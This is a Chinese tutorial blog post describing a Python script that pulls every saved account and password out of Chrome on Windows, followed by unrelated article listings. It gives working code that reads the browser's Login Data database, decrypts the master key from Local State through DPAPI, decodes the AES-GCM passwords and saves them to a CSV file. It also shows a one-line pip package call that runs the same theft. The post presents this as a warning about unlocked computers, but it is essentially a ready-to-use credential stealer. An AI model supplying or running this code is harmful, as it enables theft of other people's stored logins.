Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
Python备份Mysql脚本
Aug 11 Python
python实现html转ubb代码(html2ubb)
Jul 03 Python
浅谈python socket函数中,send与sendall的区别与使用方法
May 09 Python
Python创建对称矩阵的方法示例【基于numpy模块】
Oct 12 Python
通过python将大量文件按修改时间分类的方法
Oct 17 Python
python实现简单登陆系统
Oct 18 Python
python实现ip代理池功能示例
Jul 05 Python
Python tkinter常用操作代码实例
Jan 03 Python
利用Tensorflow构建和训练自己的CNN来做简单的验证码识别方式
Jan 20 Python
python 实现压缩和解压缩的示例
Sep 22 Python
使用Python Tkinter实现剪刀石头布小游戏功能
Oct 23 Python
用Python实现Newton插值法
Apr 17 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
聊天室php&mysql(五)
2006/10/09 PHP
ecshop 批量上传(加入自定义属性)
2012/03/20 PHP
php cc攻击代码与防范方法
2012/10/18 PHP
php flush无效,IIS7下php实时输出的方法
2016/08/25 PHP
php中get_magic_quotes_gpc()函数说明
2017/02/06 PHP
老生常谈php 正则中的i,m,s,x,e分别表示什么
2017/03/02 PHP
基于jquery扩展漂亮的CheckBox(自己编写)
2013/11/19 Javascript
基于jQuery滑动杆实现购买日期选择效果
2015/09/15 Javascript
AngularJS使用ng-app自动加载bootstrap框架问题分析
2017/01/04 Javascript
Javascript中return的使用与闭包详解
2017/01/11 Javascript
微信小程序 五星评价功能的实现
2017/03/09 Javascript
大白话讲解JavaScript的Promise
2017/04/06 Javascript
详解Angular2中Input和Output用法及示例
2017/05/21 Javascript
关于预加载InstantClick的问题解决方法
2017/09/12 Javascript
angularJS的radio实现单项二选一的使用方法
2018/02/28 Javascript
vue axios登录请求拦截器
2018/04/02 Javascript
JS实现的图片选择顺序切换和循环切换功能示例【测试可用】
2018/12/28 Javascript
微信小程序自定义导航栏实例代码
2019/04/05 Javascript
深入解析vue 源码目录及构建过程分析
2019/04/24 Javascript
JS实现提示框跟随鼠标移动
2019/08/27 Javascript
layer.alert自定义关闭回调事件的方法
2019/09/27 Javascript
JS实现手写 forEach算法示例
2020/04/29 Javascript
Python实现信用卡系统(支持购物、转账、存取钱)
2016/06/24 Python
Python基于time模块求程序运行时间的方法
2017/09/18 Python
从python读取sql的实例方法
2020/07/21 Python
Python代码注释规范代码实例解析
2020/08/14 Python
Marriott国际:万豪国际酒店查询预订
2017/09/25 全球购物
加拿大领先的优质厨具产品在线购物网站:Golda’s Kitchen
2017/11/17 全球购物
Belvilla德国:在线预订度假屋
2018/04/10 全球购物
严选全球尖货,立足香港:Bonpont宝盆
2018/07/24 全球购物
加拿大专业美发产品购物网站:Chatters
2021/02/28 全球购物
物理系毕业生自荐信
2013/11/01 职场文书
钳工实训报告总结
2014/11/04 职场文书
MySQL 分页查询的优化技巧
2021/05/12 MySQL
PostgreSQL并行计算算法及参数强制并行度设置方法
2022/04/07 PostgreSQL
前端使用svg图片改色实现示例
2022/07/23 HTML / CSS